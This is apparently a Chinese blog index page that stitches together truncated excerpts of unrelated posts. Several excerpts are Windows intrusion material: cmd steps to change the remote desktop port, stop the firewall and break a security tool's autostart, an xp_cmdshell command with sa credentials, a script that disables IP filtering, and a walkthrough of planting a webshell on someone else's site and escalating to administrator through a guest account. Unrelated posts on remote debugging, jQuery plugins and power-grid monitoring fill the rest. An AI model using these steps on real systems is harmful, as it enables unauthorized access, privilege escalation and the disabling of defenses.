以下所有命令均在cmd下执行，方法并不是唯一的，还有其他方法，以下仅举例几种。 涉及到修改注册表文件的，前提是无安全类软件保护注册表。 查看远程终端端口： 导出终端端口注册表内容，然后在cmd下查看。 1、导出注册表内容，其中yiming.reg为导出文件名称，可自定义： 1.regedit /e yiming.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" 2、查看导出的注册表内容，找出端口： 1.type yiming.reg 文件内容较多，也可进行条件查找： 1.type yiming.reg|find "PortNumber" 得到回显，类似："PortNumber"=dword:00000d3d 用科学计算器将十六进制“00000d3d”转换为十进制，即得到远程终端端口。 修改远程端口： 1、写注册表文件 1.echo Windows Registry Editor Version 5.00>>3389.reg 2.echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg 3.echo "PortNumber"=dword:00000d3d>>3389.reg 其中“dword：00000d3d”为端口号，请通过科学计算器自行转换。3389.reg为文件名，可自定义。 2、导入注册表文件 1.regedit /s 3389.reg 重启生效： 1.shutdown -r 如不能连接，有可能是系统防火墙造成的，关闭防火墙： 1.net stop SharedAccess 查看开机启动项：导出开机启动项注册表内容，然后在cmd下查看（和上面的类似） 1、导出注册表内容 1.regedit /e kaiji.reg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2、查看导出的注册表内容 1.type kaiji.reg 3、修改开机启动项 根据导出的注册表内容，进行修改，然后写注册表文件。 例如：360安装路径在C盘，将路径改为D盘，使其无法启动。 1.echo Windows Registry Editor Version 5.00>>xiugai.reg 2.echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>xiugai.reg 3.echo "360Safetray"="\"D:\\Program Files\\360\\360Safe\\safemon\\360Tray.exe\" /start">>xiugai.reg 导入注册表文件： 1.regedit /s xiugai.reg […]
View DetailsEXEC master..xp_cmdshell 'bcp "select top 1 txt from master.dbo.ctest " queryout c:\ctxt.vbs -c -S(local) -Usa -Phbcfsa'
View DetailsOn Error Resume Next strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colNicConfig = objWMIService.ExecQuery ("Select * From Win32_NetworkAdapterConfiguration Where IPEnabled = True") For Each objNicConfig in colNicConfig If objNicConfig.IPFilterSecurityEnabled Then intDisableReturn = objNicConfig.DisableIPSec If intDisableReturn = 0 Then WScript.Echo "ip过滤已禁用." ElseIf intDisableReturn = 1 Then WScript.Echo "ip过滤已禁用." & VbCrLf & " 必须重新启动使更改生效." Else WScript.Echo "无法禁用ip过滤" […]
View Details|
1 |
net stop "Windows Firewall/Internet Connection Sharing (ICS)"<br /><br />以下是该服务的依存服务<br />Network Connections<br />Remote Access Connetion Manager<br />Windows Management Instrumentation<br />无其他服务依存此服务 |
很多朋友不知道怎樣在cmd下查看3389被 修改成了什麽。有時候注冊表讀其來不是太方便。、 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber 这条命令是查看远程桌面连接所开的端口是多少 一般默认显示是0xd3d 也就是3389 。 其實兩個 常見的cmd命令就可以搞定下來· 先用tasklist /svc 图像名 PID 服务========================= ====== =============================================System Idle Process 0 暂缺System 4 暂缺smss.exe 704 暂缺csrss.exe 772 暂缺winlogon.exe 796 […]
View Details作者:lvhuana 来自:http://www.wrsky.com/ 日期：2004.12.11LvHuaNa一：得到webshell今天晚上的一次小小测试，由于本人太菜，再高深的技术我也不会，只能这样了……….一切都已经过去了，没有办法补图了，希望能看的懂这个小帖子。今天有是无聊的一天，晚上实在无聊没有事情干，就到一个视频聊天站点看秀，嘿嘿~突然发现一个聊天室特别的火暴，人数已经有500人在里面了（满员了），刷了n次也没有进去……….更加郁闷了！：（想想反正也是没有事情做，测试一下主机安全做的怎么样吧，呵呵（太菜，说测试人家安全实在是抬高自己了）在cmd下ping了一下得到了对方的ip，然后登陆http://whois.webhosting.info/对方ip看看有没有其他的站点，哈，这下发了，上面有几十个站点，估计我还是能找到一个两个带漏洞的站点的`经过漫长的查找，终于找到一个动易带漏洞的页面_Soft.asp">http://www.xxxx.net/Upfile_Soft.asp，上传一个webshell（海阳2005正式版）先（怎么上传我就不罗嗦了，上传工具现在漫天飘了）。 二：成功提升权限建立用户拿到webshell后高高兴兴的登陆了，突然发现什么权限都没有，只能在自己的webshell所在的目录里面打转（c.d.e.f盘都浏览不了），连删除文件的权限都没有，郁闷呀……..回到〖Server〗下看看主机开了什么服务吧，经过发现他开了终端服务和serv-u服务，哈，这下有搞头了^_^用superscan扫描了一下他的ip，果然通过banner看出他是用的serv-u，版本5.0。到〖Wscript.Shell〗下面试试看能执行cmd命令不能，输入net user后没有反映，再试通过Wscript.Shell能执行cmd命令不能，再次输入net user后执行返回了对方的user名单，哈哈，这下好了，能拿下了！！上传serv-u提升工具到D:\a004\tggtwe\****.com\UploadSoft目录下面，改名为：test.exe，然后回到〖Wscript.Shell〗下执行命令去了，嘿嘿，马上一只肥鸡就要到手了，高兴ing~通过Wscript.Shell执行cmd命令：D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest /active:yes" #激活guest账号，我喜欢用这个账号D:\a004\tggtwe\****.com\UploadSoft\test.exe "net user guest lvhuana" #把guest账号的密码设定为lvhuanaD:\a004\tggtwe\****.com\UploadSoft\test.exe "net localgroup administrators guest /add" #提升guest权限到admin权限好了，账号建立完毕，执行一下net localgroup administrators看看成功没，通过回显知道添加成功了。然后执行netstat -an后看到他开的终端端口是默认的3389，OK，连接试试~ 三：解决TCP/IP筛选连接不上！？晕………..再拿出superscan来扫一下他的3389，根本扫不到……..（开了防火墙！？靠，我的点真背…..）没有办法了，再次回到Wscript.Shell执行cmd命令：D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe c: /e /t /g everyone:F" #把c盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe d: /e /t /g everyone:F" #把d盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe e: /e /t /g everyone:F" #把e盘设置为everyone可以浏览D:\a004\tggtwe\****.com\UploadSoft\test.exe "cacls.exe f: /e /t […]
View Details远程调试应用场景 部署环境：ASP.NET(C#)+IIS+Win7 64 bit 很多公司的开发模式都是将开发机器和服务器分开，也就是开发一台机，服务器一台机。而测试人员会在服务器上录入测试数据，此时报错了【由于开发程序时忽略了数据类型或者数据是否合法导致的】，如果是简单的错误那还好办，看下代码直接消灭。要是生命力比较顽强的bug，那么就需要调试了。 此时开发人员会产生几种设想： 1、赶紧把服务器的环境部署到本地，然后把生成的dll扔进去进行调试。这时会出现几种结果，如果顺利的话，通过了调试解决了bug，如果不顺利的话，就会延长bug的解决时间。不顺利的情况可能会有：对程序的配置不熟悉，本地可能在注册表缺少了对那个插件的注册，目录可能存在中文……种种的，种种的问题。 2、在服务器上装上一个Visual Studio 2008/2010/2012[后面简称vs工具]，然后把程序文件拷过去，然后将生成的文件dll附加到iis进程而进行调试，哈哈，顺利解决了bug，但是一看钟表半天过去了。而且服务器多了很多文件，仅仅是为了你调试这个程序的文件。如果是管理不是很严谨的公司那还说的过去，要不然少不了要被喷一顿。 好吧，不说口水话了，进入正题。 远程调试方法 第一步：将vs工具里的Remote Debugger文件夹拷贝到目标机器。大致的目录应该是：D:\Program Files (x86)\Microsoft Visual Studio 10.0\Common7\IDE\Remote Debugger，或者从开始菜单那里可以找到它的快捷方式，如下图： 第二步：在服务器上打开Remote Debugger文件夹，如果是32位的就运行X86里面的msvsmon.exe，如果是64位的就运行X64里面的msvsmon.exe。关于32位和64位这里要注意一下，以你的IIS应用程序池为主，在应用程序池那里右键，点击高级设置，可出现以下窗体。如果启用32位应用程序设置为true的话，那么就需要运行X86里面的msvsmon.exe。 运行后会出现以下界面 第三步【最关键一步】：将你本地的账号密码设置成跟服务器一样，因为远程调试也是需要用户凭证的。账号和密码都要一致哦！！！ 第四步：用vs工具打开你的程序源码，用快捷键ctrl + alt + p 打开附加进程窗体，如下图 传输：默认 限定符：默认是本机的机器名称，设置为你的服务器IP（如：192.168.1.250） 设置好按回车就可以看到250这台机子的进程，然后找到w3wp.exe这个进程，点击附加。【如果没有看到w3wp.exe，可以把下面显示所有用户的进程勾上】 接下来就尽情享受代码的调试把。 关于调试那点技术 比较一下下面两种调试的方法，看谁犯过第一种，反正我犯过。^_^ 1、为了调试某个dll而直接在Web程序里直接按F5进行调试，如果是小项目小网站的话，那没问题。如果是一个几十M甚至几百M的网站那么问题就来了。这样子的调试非常的慢，而且每次都需要重新生成整个网站的dll，那速度，是可忍孰不可忍。 2、将你需要调试的dll重新生成一下，把dll和pdb文件拷到已发布好的网站bin目录底下，然后ctrl + alt + p附加到IIS进程w3wp.exe，然后就可以调试你的dll了。这样即快又方便，做个开心的程序员吧。 结束语 好久没写过东西了，距离上一篇Installshield有1年多了，哎。以后坚持有空就写点文章，多总结自己的经验。 转自：http://www.cnblogs.com/magicchaiy/archive/2013/05/28/VS%E8%BF%9C%E7%A8%8B%E8%B0%83%E8%AF%95%E6%8A%80%E5%B7%A7.html
View Details1) jQuery Popeye jQuery.popeye 这个插件能够将一组无序的图片列表转换成一个简单的相册。当点击图片时将以Lightbox风格放大图片。图片展示框提供向前/向后控制并能够为每一张图 片添加备注说明信息。jQuery.popeye能够根据图片大小自动调整展示框的高度和宽度。 2) jQuery MB Gallery 这是一个全功能的相簿应用，带导航条、缩略图和自动大小调整的相框。 3) Topup TopUp 是一个跨浏览器支持的 JavaScript 库，用于创建弹出式对话框以显示图片和网页，类似 ThickBox和 LightBox。TopUp 使用的是 jQuery 和 jQuery UI 库来保证兼容各种浏览器。当然 TopUp 还是可以跟Prototype 一起工作。 4) Pirobox 采用jQuery开发的Lightbox控件。能够根据浏览器窗体大小自动调整展示图片大小。提供向前/向后控制链接。动态加载图片效果。易于定制。 5) Fancy Zoom FancyZoom采用缩放效果来展示图片或任意HTML页面，不需要另外开启页面来载入图片，其效果在Apple Mac的官方网站中也有。 6) Canvas Slide Show 7) SideWays jQuery 8) Galleriffic Galleriffic是一个用于创建快速展示相册中照片的jQuery插件。图片既可以以幻灯片的方式查看，也可以手动点击缩略图查看。Galleriffic还支持分页，从而使得它能够展示更多的图片。 9) ColorBox ColorBox是一个基于jQuery 1.3 的轻量级，自定义灯箱插件，功能非常强大，支持图片，图片组，ajax，inline和iframed内容，灯箱样式完全由用户控制，可自定义CSS样 式，不需要改写ColorBox库文件就能重写展示效果设置，支持加载预处理提示等等，效果图如下： 在线演示：http://runjs.cn/detail/hjor2zox 10) YUI 转自:http://www.oschina.net/news/41500/10-best-jquery-plugins-with-code-of-may-and-june-2013
View Details上图为本文的作者Sasha Goldshtein，他是SELA Group公司的首席技术官，他是Microsoft C# MVP（最有价值技术人员），是《Introducing Windows 7 for Developers》 (Microsoft Press出版, 2009) 和 《Pro .NET Performance》 (Apress出版, 2012)两书的作者。他是一位多产的博客作家，是大量的培训教程的作者，内容包括并行编程、Windows Internals, .NET Debugging, 和 .NET 性能等。他的顾问工作主要围绕分布式架构和高性能系统。 我发现，对我来说，使用一种新语 言，新技术，新框架，最让我有压力的事情是，我在使用它们时不能完全明白它们的实现原理。我每周都要阅读数百篇关于讨论诸如各种JavaScript扩 展、新的iOS应用框架，新的基于Windows Azure的SaaS等的博客文章。很显然，如果只是使用一些技术或采用一种框架来满足需求，这对于我通常不是很难的事情。问题是，如果我并不理解一个东 西的工作原理或实现方法，我不能把它归入我已经掌握的知识。这也是“Not Invented Here(非我造不用)”毛病的一种表现吧，不同的是我并不是想真正的写出我自己的框架；我只是想做到我有能力写出它们。下面是我最近的一些例子。 2011 年末，我开始学习Node.js，2012年间，我基于Node、Express以及其它很多Node模块，实现了数个私人或商业产品。我开始使用 Node时非常犹豫，直到我完全掌握了它的基本原理——事件循环，异步无处不在的属性——这使我掌握了如何实现“类似Node”之类东西的知识。有一段时 间我甚至想写利用新的C#提供的async/await实现一个Node类似的HTTP框架，但最后放弃了，因为网上像这样的东西很多，比如 ASP.NET MVC控制器等，只是不通用。 还有一个事情就是，某种程度是，我仍然有点“恐惧”WPF(Windows用户界面框架)。 我谈不上是特别喜欢客户端开发，但从感受层面上，从各种表现上，WPF是一种比XAML更有吸引力的框架。并不是说WPF很复杂难用：我理解它的一些基本 实现原理，比如数据绑定，风格，资源，以及数据模板，这些足够让我实现简单的桌面应用或简单的Windows8和Window Phone应用。是WPF的深度和广度让我困惑：我现在的做法是否是最好的做法？这些XAML表达式究竟是如何在这样的数据环境和属性依赖条件下工作的？ 是否我应该把这段代码放到一个单独的动作或控制里？…我不是没努力过：我至少读了3本关于WPF的书，总页数超过1500页，但它们并没有给我多大帮助。 结果是，在潜意识里，我尽量避免基于XAML的框架，因为我不知道如何实现它。而可笑的是，我对一些“轻量级”的客户端技术，包括MFC，Windows Forms，Android，以及iOS，都非常有信心，而对于XAML，对于它的那些相对高级的东西，已经在我的心里留下了畏惧的条件反射。 说 一些我感到非常有自信的东西，我对那些利用反射技术的东西，从序列化校验到代码生成，我都感觉很轻松。这些属性，这些反射，10年前当我做一个大.NET 项目时就根深于我的脑子里，从那时起它们对于我就是一个非常强大的工具。我想这归功于我能理解它们这些对象如何存放在内存里，知道.NET的原信息是如何 组织的。事实上，我差不多同时也就对其他语言和框架里的反射机制很清楚了：例如，当我在开发非官方的Adnroid SDK时，第一直觉就是想写自己的JSON序列化工具，而不是利用第三方类库。之后虽然证明这并不是最好的做法，但我能够在2小时内让我的程序支持所有类 型的WAMS要求。 最后一个例子，我对新语言有很大的心理压力，尤其是当这种语言不只是从一种语言编译成另外一种语言。换言之，我对像 TypeScript或CoffeeScript这类语言没压力，我可以清楚了理解这种原代码如何编译成JavaScript，如何一种新语法变成同种功 能语法的一种简写。但是，对于一些“新物种”语言，例如Objective C，引起我脑海里一大堆问号。并不是它的括弧语义给我造成麻烦，而是这种语言的原理，“how”。Objective C语言的对象是如何分配内存的？方法是如何调度的？如果方法可以被过载，还能通过名称进行动态调度吗？编译器是如何动态管理内存的？(没错，引用数计数 ——但问题远比这几个字复杂)。同样的事情也发生在Python这样的语言上：我可以使用Python开发脚本，编写模块，甚至和C语法风格的DLL交 互，但我对这种动态语言里如何存放一个属性，如何类型化，没有一个清晰的画面。 作为总结，我希望所有的教材都提供一个“工作原理”的章节， 来告诉我我如何能实现这种语言、技术和框架——我自己。至此，我希望这篇文章解释清楚了我为什么喜欢对技术原理刨根问底、喜欢自己去实现它们。归根结底的 原因是，我喜欢对系统、框架、语言做全面的理解；也许我只需要对某个系统修改一个bug或做性能调优，但最终结果是，我要去知道它是如何运行的，否则，它 会变成我的一个心病，拖得越久我会越痛苦。 [英文原文：Using Something You Can't Implement Yourself ] 转自:http://www.oschina.net/news/41512/using-something-you-cant-implement-yourself
View DetailsWAMS (Wide Area Measurement System) 广域监测系统 电网广域监测系统采用同步相角测量技术，通过逐步布局全网关键测点的同步相角测量单元（PMU），实现对全网同步相角及电网主要数据的实时高速率采集。采集数据通过电力调度数据网络实时传送到广域监测主站系统，从而提供对电网正常运行与事故扰动情况下的实时监测与分析计算，并及时获得并掌握电网运行的动态过程。 WAMS作为电网动态测量系统，兼顾了SCADA系统和故障录波系统的功能。其前置单元相量测量装置PMU能够以数百Hz的速率采集电流、电压信息，通过计算获得测点的功率、相位、功角等信息，并以每秒几十帧的频率向主站发送。PMU通过全球定位系统（GPS）对时，能够保证全网数据的同步性，时标信息与数据同时存储并发送到主站。因此，WAMS能够使调度人员实时监视到电网的动态过程。 转自:http://baike.baidu.com/view/5344299.htm
View Details